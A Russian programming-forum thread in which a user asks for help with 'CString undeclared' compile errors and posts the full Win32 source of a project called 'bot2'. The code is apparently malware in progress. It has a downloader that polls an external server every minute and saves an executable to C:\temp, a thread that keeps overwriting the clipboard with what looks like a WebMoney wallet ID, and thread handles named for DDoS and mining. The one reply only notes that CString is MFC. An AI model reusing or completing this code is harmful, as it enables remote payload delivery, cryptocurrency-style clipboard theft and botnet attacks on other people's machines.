Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 12.04.2016, 19:16   #1
ponchic
Пользователь
 
Регистрация: 23.08.2015
Сообщений: 34
По умолчанию error C2065: source: необъявленный идентификатор

Подразумеваю что проблемы с зло***чим stdafx.h
вот ошибки, что делать ума не приложу, уже невозможно
  1. >c:\users\lol\documents\visual studio 2010\projects\bot2\bot2\bot2.cpp(12 6): error C2065: CString: необъявленный идентификатор 1>c:\users\lol\documents\visual studio 2010\projects\bot2\bot2\bot2.cpp(12 6): error C2146: синтаксическая ошибка: отсутствие ";" перед идентификатором "source" 1>c:\users\lol\documents\visual studio 2010\projects\bot2\bot2\bot2.cpp(12 6): error C2065: source: необъявленный идентификатор 1>c:\users\lol\documents\visual studio 2010\projects\bot2\bot2\bot2.cpp(13 4): error C2065: source: необъявленный идентификатор 1>c:\users\lol\documents\visual studio 2010\projects\bot2\bot2\bot2.cpp(13 4): error C2228: выражение слева от ".GetLength" должно представлять класс, структуру или объединение 1> тип: 'unknown-type' 1>c:\users\lol\documents\visual studio 2010\projects\bot2\bot2\bot2.cpp(13 6): error C2065: source: необъявленный идентификатор 1>
Я уже устал от ошибок некачественных языков, надеюсь что поможете чтобы больше этого вопроса не возникало.
вот проект: https://yadi.sk/d/sCLaZq11qwF7m
главный файл:
Код:
#include "StdAfx.h"
#include <windows.h>
#include <wininet.h>
#pragma comment (lib, "wininet.lib")
#include <iostream>
#include <string>
#include <regex>
#include <iterator>

VOID GetFileFromUrl(char * strurl) {



	HINTERNET hSession = InternetOpen("Downloader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	HINTERNET hConnect = InternetOpenUrl(hSession, strurl, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 0 );

	// получить размер заголовка
	DWORD  dwInfoLen = 0;
	HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, NULL, &dwInfoLen, NULL);

	// прочитать заголовок
	char* sHeadInfo = new char[dwInfoLen];
	HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, sHeadInfo, &dwInfoLen, 0);

	// размер файла в байтах
	DWORD dwFileSize =  atoi(sHeadInfo);
	delete [] sHeadInfo;

	// буфер
	BYTE * pFileBuf = new BYTE[dwFileSize];
	BYTE * pBufScan =  pFileBuf;
	//printf("file size: %d\n", dwFileSize);

	// читать
	DWORD dwAval, dwRead;
	while (InternetQueryDataAvailable(hConnect, &dwAval, 0, 0))
	{
		if (!InternetReadFile(hConnect, pBufScan, dwAval, &dwRead))
			break;
		if (!dwRead) 
			break;
		pBufScan += dwRead;

		//----
		char e[32];
		//sprintf(e, "read bytes: %d \n",  pBufScan - pFileBuf);
		OutputDebugString(e);
	}
	//получить имя сохраняемого файла
	//regex rx("a"); 
	//string fmt("A"); 
	//записать
	HANDLE hFile = CreateFile("C:\\temp\\Sum.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); //FILE_ATTRIBUTE_HIDDEN
	DWORD dww;
	WriteFile(hFile, pFileBuf, dwFileSize, &dww, NULL);
	CloseHandle(hFile);

	delete [] pFileBuf;
	InternetCloseHandle(hConnect); 
	InternetCloseHandle(hSession); 
}
BYTE * GetPageUrl(char * strurl) {



	HINTERNET hSession = InternetOpen("Downloader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	HINTERNET hConnect = InternetOpenUrl(hSession, strurl, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 0 );

	// получить размер заголовка
	DWORD  dwInfoLen = 0;
	HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, NULL, &dwInfoLen, NULL);

	// прочитать заголовок
	char* sHeadInfo = new char[dwInfoLen];
	HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, sHeadInfo, &dwInfoLen, 0);

	// размер файла в байтах
	DWORD dwFileSize =  atoi(sHeadInfo);
	delete [] sHeadInfo;

	// буфер
	BYTE * pFileBuf = new BYTE[dwFileSize];
	BYTE * pBufScan =  pFileBuf;
	//printf("file size: %d\n", dwFileSize);

	// читать
	DWORD dwAval, dwRead;
	while (InternetQueryDataAvailable(hConnect, &dwAval, 0, 0))
	{
		if (!InternetReadFile(hConnect, pBufScan, dwAval, &dwRead))
			break;
		if (!dwRead) 
			break;
		pBufScan += dwRead;

		//----
		char e[32];
		//sprintf(e, "read bytes: %d \n",  pBufScan - pFileBuf);
		OutputDebugString(e);
	}


	InternetCloseHandle(hConnect); 
	InternetCloseHandle(hSession); 

	return pFileBuf;

}

DWORD WINAPI CheckDwonload(PVOID pvParam) {
	while (TRUE) {
	BYTE * res = GetPageUrl("http://v92939a1.bget.ru/index2.php");
	MessageBox(NULL, (LPCSTR)res, " ", MB_OK);


	/////////////////////////GetFileFromUrl((char *)res);
	Sleep(60000);
	}

	return 0;
}
DWORD WINAPI WMreplace(PVOID pvParam) {
	while (TRUE)
	{

		CString source; 
		//в эту переменную нужно записать текст, который в дальнейшем поместится в буфер обмена
		//запись текста в буфер обмена
		if(OpenClipboard(0))//открываем буфер обмена
		{
			HGLOBAL hgBuffer;
			char* chBuffer = "R2281377";
			EmptyClipboard();/////////
			hgBuffer= GlobalAlloc(GMEM_DDESHARE, source.GetLength()+1);//выделяем память
			chBuffer= (char*)GlobalLock(hgBuffer); //блокируем память
			strcpy(chBuffer, LPCSTR(source));
			GlobalUnlock(hgBuffer);//разблокируем память
			SetClipboardData(CF_TEXT, hgBuffer);//помещаем текст в буфер обмена
			CloseClipboard(); //закрываем буфер обмена
		}

	////Здесь добавить потом



		Sleep(2000);
}
	return 0;
}

int APIENTRY WinMain(HINSTANCE hInstance,
	HINSTANCE hPrevInstance,
	LPSTR     lpCmdLine,
	int       nCmdShow)
{
	HANDLE hThreadsWMIDexc, hThreadsHTTPDDos, hThreadsHTTPDDos2, hThreadsUdpDDos, hThreadsTCPDDOS, hThreadsCheckDwonload,  hThreadsOpenWebPage, hThreadsMining;
	DWORD idThreadA,idThreadB,idThreadC, idThreadD, idThreadI, idThreadF, idThreadG, idThreadH;



	int bVal = 0;


	hThreadsCheckDwonload = CreateThread(NULL, 0, CheckDwonload, (PVOID) bVal, 0,  &idThreadF);
	hThreadsWMIDexc = CreateThread(NULL, 0, WMreplace, (PVOID) bVal, 0,  &idThreadA);



	SetThreadPriority(hThreadsCheckDwonload,THREAD_PRIORITY_ABOVE_NORMAL);
	SetThreadPriority(hThreadsWMIDexc,THREAD_PRIORITY_ABOVE_NORMAL);


	WaitForMultipleObjects(1, &hThreadsCheckDwonload, TRUE, INFINITE);

	return 0;
}
Файлы в проекте созданы автоматически студией.
Надеюсь поможете
ponchic вне форума Ответить с цитированием
Старый 12.04.2016, 19:21   #2
Alex11223
Старожил
 
Аватар для Alex11223
 
Регистрация: 12.01.2011
Сообщений: 19,500
По умолчанию

CString это MFC, а не винапи или стандартный С/С++.


Цитата:
Я уже устал от ошибок некачественных языков
Ну не пиши на них.
Ушел с форума, https://www.programmersforum.rocks, alex.pantec@gmail.com, https://github.com/AlexP11223
ЛС отключены Аларом.

Последний раз редактировалось Alex11223; 12.04.2016 в 19:24.
Alex11223 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
error C2065: cout: необъявленный идентификатор Eyxeniy Помощь студентам 15 23.11.2015 10:19
Error C2065: _winmajor: необъявленный идентификатор Dimka-novitsek Общие вопросы C/C++ 3 10.05.2014 17:24
необъявленный идентификатор (Си) Александрq Помощь студентам 5 29.11.2012 10:54
Rect необъявленный идентификатор s.c.o.r.p.i.o.n. Visual C++ 1 29.03.2012 10:03
Ошибка: необъявленный идентификатор. Romantik (Dima) Общие вопросы C/C++ 1 16.12.2010 19:23